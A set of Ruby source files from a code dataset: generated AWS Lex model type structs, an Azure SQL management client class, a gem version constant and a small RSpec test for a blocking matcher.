# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/SlotTypeMetadata AWS API Documentation
#
class SlotTypeMetadata < Struct.new(
:name,
:description,
:last_updated_date,
:created_date,
:version)
SENSITIVE = []
include Aws::Structure
end
# Provides a regular expression used to validate the value of a slot.
#
# @note When making an API call, you may pass SlotTypeRegexConfiguration
# data as a hash:
#
# {
# pattern: "RegexPattern", # required
# }
#
# @!attribute [rw] pattern
# A regular expression used to validate the value of a slot.
#
# Use a standard regular expression. Amazon Lex supports the following
# characters in the regular expression:
#
# * A-Z, a-z
#
# * 0-9
#
# * Unicode characters ("\\ u<Unicode>")
#
# Represent Unicode characters with four digits, for example
# "\\u0041" or "\\u005A".
#
# The following regular expression operators are not supported:
#
# * Infinite repeaters: *, +, or \\\{x,\\} with no upper bound.
#
# * Wild card (.)
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/SlotTypeRegexConfiguration AWS API Documentation
#
class SlotTypeRegexConfiguration < Struct.new(
:pattern)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass StartImportRequest
# data as a hash:
#
# {
# payload: "data", # required
# resource_type: "BOT", # required, accepts BOT, INTENT, SLOT_TYPE
# merge_strategy: "OVERWRITE_LATEST", # required, accepts OVERWRITE_LATEST, FAIL_ON_CONFLICT
# tags: [
# {
# key: "TagKey", # required
# value: "TagValue", # required
# },
# ],
# }
#
# @!attribute [rw] payload
# A zip archive in binary format. The archive should contain one file,
# a JSON file containing the resource to import. The resource should
# match the type specified in the `resourceType` field.
# @return [String]
#
# @!attribute [rw] resource_type
# Specifies the type of resource to export. Each resource also exports
# any resources that it depends on.
#
# * A bot exports dependent intents.
#
# * An intent exports dependent slot types.
# @return [String]
#
# @!attribute [rw] merge_strategy
# Specifies the action that the `StartImport` operation should take
# when there is an existing resource with the same name.
#
# * FAIL\_ON\_CONFLICT - The import operation is stopped on the first
# conflict between a resource in the import file and an existing
# resource. The name of the resource causing the conflict is in the
# `failureReason` field of the response to the `GetImport`
# operation.
#
# OVERWRITE\_LATEST - The import operation proceeds even if there is
# a conflict with an existing resource. The $LASTEST version of the
# existing resource is overwritten with the data from the import
# file.
# @return [String]
#
# @!attribute [rw] tags
# A list of tags to add to the imported bot. You can only add tags
# when you import a bot, you can't add tags to an intent or slot
# type.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/StartImportRequest AWS API Documentation
#
class StartImportRequest < Struct.new(
:payload,
:resource_type,
:merge_strategy,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name given to the import job.
# @return [String]
#
# @!attribute [rw] resource_type
# The type of resource to import.
# @return [String]
#
# @!attribute [rw] merge_strategy
# The action to take when there is a merge conflict.
# @return [String]
#
# @!attribute [rw] import_id
# The identifier for the specific import job.
# @return [String]
#
# @!attribute [rw] import_status
# The status of the import job. If the status is `FAILED`, you can get
# the reason for the failure using the `GetImport` operation.
# @return [String]
#
# @!attribute [rw] tags
# A list of tags added to the imported bot.
# @return [Array<Types::Tag>]
#
# @!attribute [rw] created_date
# A timestamp for the date and time that the import job was requested.
# @return [Time]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/StartImportResponse AWS API Documentation
#
class StartImportResponse < Struct.new(
:name,
:resource_type,
:merge_strategy,
:import_id,
:import_status,
:tags,
:created_date)
SENSITIVE = []
include Aws::Structure
end
# A collection of messages that convey information to the user. At
# runtime, Amazon Lex selects the message to convey.
#
# @note When making an API call, you may pass Statement
# data as a hash:
#
# {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# response_card: "ResponseCard",
# }
#
# @!attribute [rw] messages
# A collection of message objects.
# @return [Array<Types::Message>]
#
# @!attribute [rw] response_card
# At runtime, if the client is using the [PostText][1] API, Amazon Lex
# includes the response card in the response. It substitutes all of
# the session attributes and slot values for placeholders in the
# response card.
#
#
#
# [1]: http://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostText.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/Statement AWS API Documentation
#
class Statement < Struct.new(
:messages,
:response_card)
SENSITIVE = []
include Aws::Structure
end
# A list of key/value pairs that identify a bot, bot alias, or bot
# channel. Tag keys and values can consist of Unicode letters, digits,
# white space, and any of the following symbols: \_ . : / = + - @.
#
# @note When making an API call, you may pass Tag
# data as a hash:
#
# {
# key: "TagKey", # required
# value: "TagValue", # required
# }
#
# @!attribute [rw] key
# The key for the tag. Keys are not case-sensitive and must be unique.
# @return [String]
#
# @!attribute [rw] value
# The value associated with a key. The value may be an empty string
# but it can't be null.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/Tag AWS API Documentation
#
class Tag < Struct.new(
:key,
:value)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass TagResourceRequest
# data as a hash:
#
# {
# resource_arn: "AmazonResourceName", # required
# tags: [ # required
# {
# key: "TagKey", # required
# value: "TagValue", # required
# },
# ],
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the bot, bot alias, or bot channel
# to tag.
# @return [String]
#
# @!attribute [rw] tags
# A list of tag keys to add to the resource. If a tag key already
# exists, the existing value is replaced with the new value.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/TagResourceRequest AWS API Documentation
#
class TagResourceRequest < Struct.new(
:resource_arn,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/TagResourceResponse AWS API Documentation
#
class TagResourceResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UntagResourceRequest
# data as a hash:
#
# {
# resource_arn: "AmazonResourceName", # required
# tag_keys: ["TagKey"], # required
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the resource to remove the tags
# from.
# @return [String]
#
# @!attribute [rw] tag_keys
# A list of tag keys to remove from the resource. If a tag key does
# not exist on the resource, it is ignored.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/UntagResourceRequest AWS API Documentation
#
class UntagResourceRequest < Struct.new(
:resource_arn,
:tag_keys)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/UntagResourceResponse AWS API Documentation
#
class UntagResourceResponse < Aws::EmptyStructure; end
# Provides information about a single utterance that was made to your
# bot.
#
# @!attribute [rw] utterance_string
# The text that was entered by the user or the text representation of
# an audio clip.
# @return [String]
#
# @!attribute [rw] count
# The number of times that the utterance was processed.
# @return [Integer]
#
# @!attribute [rw] distinct_users
# The total number of individuals that used the utterance.
# @return [Integer]
#
# @!attribute [rw] first_uttered_date
# The date that the utterance was first recorded.
# @return [Time]
#
# @!attribute [rw] last_uttered_date
# The date that the utterance was last recorded.
# @return [Time]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/UtteranceData AWS API Documentation
#
class UtteranceData < Struct.new(
:utterance_string,
:count,
:distinct_users,
:first_uttered_date,
:last_uttered_date)
SENSITIVE = []
include Aws::Structure
end
# Provides a list of utterances that have been made to a specific
# version of your bot. The list contains a maximum of 100 utterances.
#
# @!attribute [rw] bot_version
# The version of the bot that processed the list.
# @return [String]
#
# @!attribute [rw] utterances
# One or more UtteranceData objects that contain information about the
# utterances that have been made to a bot. The maximum number of
# object is 100.
# @return [Array<Types::UtteranceData>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/UtteranceList AWS API Documentation
#
class UtteranceList < Struct.new(
:bot_version,
:utterances)
SENSITIVE = []
include Aws::Structure
end
end
end
| 35.260338 | 128 | 0.614974 |
4a21c2aa4fdb9fd74cd1744ee614141b68af3aff | 57 | module MoreCoreExtensions
VERSION = "3.7.0".freeze
end
| 14.25 | 26 | 0.754386 |
2836457604ebbf57f92298370ac51f421a308dcb | 8,298 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::SQL::Mgmt::V2017_10_01_preview
#
# A service client - single point of access to the REST API.
#
class SqlManagementClient < MsRestAzure::AzureServiceClient
include MsRestAzure
include MsRestAzure::Serialization
# @return [String] the base URI of the service.
attr_accessor :base_url
# @return Credentials needed for the client to connect to Azure.
attr_reader :credentials
# @return [String] The subscription ID that identifies an Azure
# subscription.
attr_accessor :subscription_id
# @return [String] The API version to use for the request.
attr_reader :api_version
# @return [String] The preferred language for the response.
attr_accessor :accept_language
# @return [Integer] The retry timeout in seconds for Long Running
# Operations. Default value is 30.
attr_accessor :long_running_operation_retry_timeout
# @return [Boolean] Whether a unique x-ms-client-request-id should be
# generated. When set to true a unique x-ms-client-request-id value is
# generated and included in each request. Default is true.
attr_accessor :generate_client_request_id
# @return [DatabaseOperations] database_operations
attr_reader :database_operations
# @return [ElasticPoolOperations] elastic_pool_operations
attr_reader :elastic_pool_operations
# @return [DatabaseVulnerabilityAssessmentScans]
# database_vulnerability_assessment_scans
attr_reader :database_vulnerability_assessment_scans
# @return [ManagedDatabaseVulnerabilityAssessmentRuleBaselines]
# managed_database_vulnerability_assessment_rule_baselines
attr_reader :managed_database_vulnerability_assessment_rule_baselines
# @return [ManagedDatabaseVulnerabilityAssessmentScans]
# managed_database_vulnerability_assessment_scans
attr_reader :managed_database_vulnerability_assessment_scans
# @return [ManagedDatabaseVulnerabilityAssessments]
# managed_database_vulnerability_assessments
attr_reader :managed_database_vulnerability_assessments
# @return [Capabilities] capabilities
attr_reader :capabilities
# @return [Databases] databases
attr_reader :databases
# @return [ElasticPools] elastic_pools
attr_reader :elastic_pools
# @return [InstanceFailoverGroups] instance_failover_groups
attr_reader :instance_failover_groups
# @return [BackupShortTermRetentionPolicies]
# backup_short_term_retention_policies
attr_reader :backup_short_term_retention_policies
# @return [TdeCertificates] tde_certificates
attr_reader :tde_certificates
# @return [ManagedInstanceTdeCertificates]
# managed_instance_tde_certificates
attr_reader :managed_instance_tde_certificates
# @return [ManagedInstanceKeys] managed_instance_keys
attr_reader :managed_instance_keys
# @return [ManagedInstanceEncryptionProtectors]
# managed_instance_encryption_protectors
attr_reader :managed_instance_encryption_protectors
# @return [RecoverableManagedDatabases] recoverable_managed_databases
attr_reader :recoverable_managed_databases
#
# Creates initializes a new instance of the SqlManagementClient class.
# @param credentials [MsRest::ServiceClientCredentials] credentials to authorize HTTP requests made by the service client.
# @param base_url [String] the base URI of the service.
# @param options [Array] filters to be applied to the HTTP requests.
#
def initialize(credentials = nil, base_url = nil, options = nil)
super(credentials, options)
@base_url = base_url || 'https://management.azure.com'
fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?
@credentials = credentials
@database_operations = DatabaseOperations.new(self)
@elastic_pool_operations = ElasticPoolOperations.new(self)
@database_vulnerability_assessment_scans = DatabaseVulnerabilityAssessmentScans.new(self)
@managed_database_vulnerability_assessment_rule_baselines = ManagedDatabaseVulnerabilityAssessmentRuleBaselines.new(self)
@managed_database_vulnerability_assessment_scans = ManagedDatabaseVulnerabilityAssessmentScans.new(self)
@managed_database_vulnerability_assessments = ManagedDatabaseVulnerabilityAssessments.new(self)
@capabilities = Capabilities.new(self)
@databases = Databases.new(self)
@elastic_pools = ElasticPools.new(self)
@instance_failover_groups = InstanceFailoverGroups.new(self)
@backup_short_term_retention_policies = BackupShortTermRetentionPolicies.new(self)
@tde_certificates = TdeCertificates.new(self)
@managed_instance_tde_certificates = ManagedInstanceTdeCertificates.new(self)
@managed_instance_keys = ManagedInstanceKeys.new(self)
@managed_instance_encryption_protectors = ManagedInstanceEncryptionProtectors.new(self)
@recoverable_managed_databases = RecoverableManagedDatabases.new(self)
@api_version = '2017-10-01-preview'
@accept_language = 'en-US'
@long_running_operation_retry_timeout = 30
@generate_client_request_id = true
add_telemetry
end
#
# Makes a request and returns the body of the response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Hash{String=>String}] containing the body of the response.
# Example:
#
# request_content = "{'location':'westus','tags':{'tag1':'val1','tag2':'val2'}}"
# path = "/path"
# options = {
# body: request_content,
# query_params: {'api-version' => '2016-02-01'}
# }
# result = @client.make_request(:put, path, options)
#
def make_request(method, path, options = {})
result = make_request_with_http_info(method, path, options)
result.body unless result.nil?
end
#
# Makes a request and returns the operation response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [MsRestAzure::AzureOperationResponse] Operation response containing the request, response and status.
#
def make_request_with_http_info(method, path, options = {})
result = make_request_async(method, path, options).value!
result.body = result.response.body.to_s.empty? ? nil : JSON.load(result.response.body)
result
end
#
# Makes a request asynchronously.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def make_request_async(method, path, options = {})
fail ArgumentError, 'method is nil' if method.nil?
fail ArgumentError, 'path is nil' if path.nil?
request_url = options[:base_url] || @base_url
if(!options[:headers].nil? && !options[:headers]['Content-Type'].nil?)
@request_headers['Content-Type'] = options[:headers]['Content-Type']
end
request_headers = @request_headers
request_headers.merge!({'accept-language' => @accept_language}) unless @accept_language.nil?
options.merge!({headers: request_headers.merge(options[:headers] || {})})
options.merge!({credentials: @credentials}) unless @credentials.nil?
super(request_url, method, path, options)
end
private
#
# Adds telemetry information.
#
def add_telemetry
sdk_information = 'azure_mgmt_sql'
sdk_information = "#{sdk_information}/0.17.3"
add_user_agent_information(sdk_information)
end
end
end
| 41.49 | 154 | 0.739214 |
5d7085fa635e51898b8facbb18663599f51186d8 | 387 | require 'spec_helper'
require 'mspec/expectations/expectations'
require 'mspec/matchers'
RSpec.describe BlockingMatcher do
it 'matches when a Proc blocks the caller' do
expect(BlockingMatcher.new.matches?(proc { sleep })).to eq(true)
end
it 'does not match when a Proc does not block the caller' do
expect(BlockingMatcher.new.matches?(proc { 1 })).to eq(false)
end
end
| 27.642857 | 68 | 0.741602 |